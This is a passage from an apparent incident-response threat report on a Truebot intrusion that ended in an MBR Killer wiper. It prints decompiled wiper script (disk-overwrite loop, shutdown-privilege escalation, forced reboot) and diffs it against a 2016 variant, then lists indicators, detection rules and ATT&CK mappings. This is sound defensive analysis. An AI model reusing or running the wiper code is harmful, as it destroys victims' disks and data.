  System::Call "kernel32::WriteFile(i, i, i, p, i) i (r2, r5, 512, r6, 0)"
  System::Call "kernel32::FlushFileBuffers(i) i (r2)"
label_goto_next_wipe:
  Goto label_next_wipe
label_free_wipe:
  System::Free $6
  System::Free $5
label_close_physicaldrive:
  System::Call "kernel32::CloseHandle(i) i (r2)"
  Goto label_next_physicaldrive
label_goto_exit:
  Goto label_exit
label_next_physicaldrive:
  IntOp $0 $0 + 1
  Goto label_check_physicaldrive

Once the MBR Killer wiper has done its damage, the script attempts to modify its process privileges to enable the SeShutdownPrivilege and initiates a reboot.

label_exit:
  StrCpy $1 0
  System::Call "advapi32::OpenProcessToken(i, i, *i) i (-1, 0x0008|0x0020, .r1) i .r0"
  StrCmp $0 0 label_shutdown
  System::Call "advapi32::LookupPrivilegeValue(t, t, *l) i (n, 'SeShutdownPrivilege', .r2r2) i .r0"
  StrCmp $0 0 label_close_process
  System::Call "*(i 1, l r2, i 0x00000002) i .r0"
  System::Call "advapi32::AdjustTokenPrivileges(i, i, i, i, i, i) i (r1, 0, r0, 0, 0, 0)"
  System::Free $0
label_close_process:
  System::Call "kernel32::CloseHandle(i) i (r1)"
label_shutdown:
  Call func_shutdown

To initiate the reboot, MBR Killer calls ExitWindowsEx with:

  • EWX_REBOOT (0x2) to cause a reboot
  • EWX_FORCE (0x4) to try to force the operation
  • SHTDN_REASON_MAJOR_SOFTWARE (0x00030000) to indicate it was software-caused
  • SHTDN_REASON_MINOR_UPGRADE (0x00000003) to indicate the software reason is an upgrade.
Function func_shutdown
  Push $1
  StrCpy $1 0x2|0x4
  System::Call "user32::ExitWindowsEx(i, i) i ($1, 0x00030000|0x00000003) i .r0"
  Pop $1
FunctionEnd

Worth noting is that even-though the MBR Killer script attempts a reboot, the same functionality is implemented within the NSIS installer itself. Upon reboot, the affected machines were rendered inoperable.

While the wiper we observed was not packed using VM-Protect, the decompiled script is near-similar to the 2016 Banco de Chile wiper component and indicates the source-code was likely shared.

Supporting this theory was the change in NSIS version from v3.0b2 (Released on August 4th, 2015) to v3.04 (Released on December 15th, 2018) alongside the removal of the MBR Killer branding.

-Name "MBR Killer"
-BrandingText "Nullsoft Install System v3.0b2"
+Name Name
+BrandingText "Nullsoft Install System v3.04"

While the 2016 sample was bzip2-compressed, the recompiled version now uses the more performant zlib compression.

-SetCompressor /SOLID bzip2
+SetCompressor zlib

Functionality-wise, our newly observed wiper performs a justified reboot (0x2, EWX_REBOOT) whereas the Banco de Chile variant merely performed an unjustified shut-down (0x8, EWX_POWEROFF).

-  StrCpy $1 0x8|0x4
-  System::Call "user32::ExitWindowsEx(i, i) i ($1, 0) i .r0"
+  StrCpy $1 0x2|0x4
+  System::Call "user32::ExitWindowsEx(i, i) i ($1, 0x00030000|0x00000003) i .r0"

As a hunting opportunity, we observed NSIS executables (legitimate or not) automatically drop the %Temp%\ns[a-zA-Z0-9]{5}.tmp\System.dll library as part of the legitimate NSIS System plugin, giving developers the ability to call any exported function from any DLL. While not indicative of malicious activity, we recommend threat hunters review the creation of the above library to identify potentially undesirable installers within their environment.

Timeline

 

Diamond Model

Indicators

Atomic

# Truebot
essadonio[.]com / 45.182.189[.]71

# Cobalt Strike
5.188.206[.]78

# FlawedGrace
5.188.86[.]18
81.19.135[.]30
92.118.36[.]199

# Exfiltration IP Address
139.60.160[.]166

Computed

# Truebot 
Name: Document_may_24_16654.exe
Size: 10435552 bytes
MD5: 6164e9d297d29aa8682971259da06848
SHA1: 96b95edc1a917912a3181d5105fd5bfad1344de0
SHA256: 717beedcd2431785a0f59d194e47970e9544fbf398d462a305f6ad9a1b1100cb

# Truebot C2
IP: 45.182.189[.]71
JARM: 28d28d28d00028d00042d42d0000005a3e96c1dfa4bdb24b8b3c04cae18cc3

# AdFind
Name: AdFind.exe
Size: 1619968 bytes
MD5: 12011c44955fd6631113f68a99447515
SHA1: 4f4f8cf0f9b47d0ad95d159201fe7e72fbc8448d
SHA256: c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3

# MBR Killer
Name: chrome.exe
Size: 46698
MD5: 2dc57a3836e4393d4d16c4eb04bf9c7e
SHA1: c6a5b345cef4eb795866ba81dcac9bd933fdd86d
SHA256: 121a1f64fff22c4bfcef3f11a23956ed403cdeb9bdb803f9c42763087bd6d94e

# Legitimate NSIS System plugin
Name: System.dll
MD5: fbe295e5a1acfbd0a6271898f885fe6a
SHA1: d6d205922e61635472efb13c2bb92c9ac6cb96da
SHA256: a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

Detections

Network

https://github.com/The-DFIR-Report/Suricata-Rules/blob/main/rules/truebot.rules

ETPRO MALWARE FlawedGrace CnC Activity M1
ETPRO MALWARE FlawedGrace CnC Activity M2
ET DROP Dshield Block Listed Source group 1
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
ThreatFox Cobalt Strike botnet C2 traffic (ip:port - confidence level: 100%)
ThreatFox Silence botnet C2 traffic (ip:port - confidence level: 75%)
ET POLICY Tunneled RDP msts Handshake
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET POLICY SMB Executable File Transfer
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access

Sigma

DFIR Report Repository

Nullsoft Scriptable Installer Script (NSIS) execution: b95288d8-020a-4df0-95cb-d2d3a806ab11

Nullsoft Scriptable Installer Script (NSIS) execution: 221f15de-1cce-40b2-a766-2873938198c6

Viewing remote directories: bca1fab7-5640-489d-a161-e154fb6ba4f8

List remote processes using tasklist: 80a56507-6778-4d04-8346-320a70358f2c

FlawedGrace spawning threat injection target: 295e71e5-38c9-4a59-90dd-9fa7bf617b4b

AdFind Discovery: 50046619-1037-49d7-91aa-54fc92923604

Sigma Repository

CobaltStrike Named Pipe: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2

CobaltStrike Service Installations – Security: d7a95147-145f-4678-b85d-d1ff4a3bb3f6

Suspicious Group And Account Reconnaissance Activity Using Net.EXE: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0

Net.exe Execution: 183e7ea8-ac4b-4c23-9aec-b3dac4e401ac

New Process Created Via Wmic.EXE: 526be59f-a573-4eea-b5f7-f0973207634d

Suspicious Scheduled Task Creation: 3a734d25-df5c-4b99-8034-af1ddb5883a4

New User Created Via Net.EXE: cd219ff3-fa99-45d4-8380-a7d15116c6dc

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/21619/21619.yar

MITRE

Process Injection - T1055
Disk Structure Wipe - T1561.002
Exfiltration Over Alternative Protocol - T1048
Match Legitimate Name or Location - T1036.005
Disable or Modify Tools - T1562.001
Deobfuscate/Decode Files or Information - T1140
Fileless Storage - T1027.011
Command Obfuscation - T1027.010
Scheduled Task - T1053.005
PowerShell - T1059.001
Malicious File - T1204.002
Web Protocols - T1071.001
Custom Command and Control Protocol - T1094
System Owner/User Discovery - T1033
Domain Groups - T1069.002
Local Groups - T1069.001
Domain Trust Discovery - T1482
Process Discovery - T1057
Domain Account - T1087.002
File and Directory Discovery - T1083
Remote System Discovery - T1018
Security Software Discovery - T1518.001
Query Registry - T1012
SMB/Windows Admin Shares - T1021.002
Local Data Staging - T1074.001
LSASS Memory - T1003.001
Pass the Hash - T1550.002
Valid Accounts - T1078
Create or Modify System Process: Windows Service - T1543.003
OS Credential Dumping: Security Account Manager - T1003.002
Spearphishing Link - T1566.002

Internal case #21619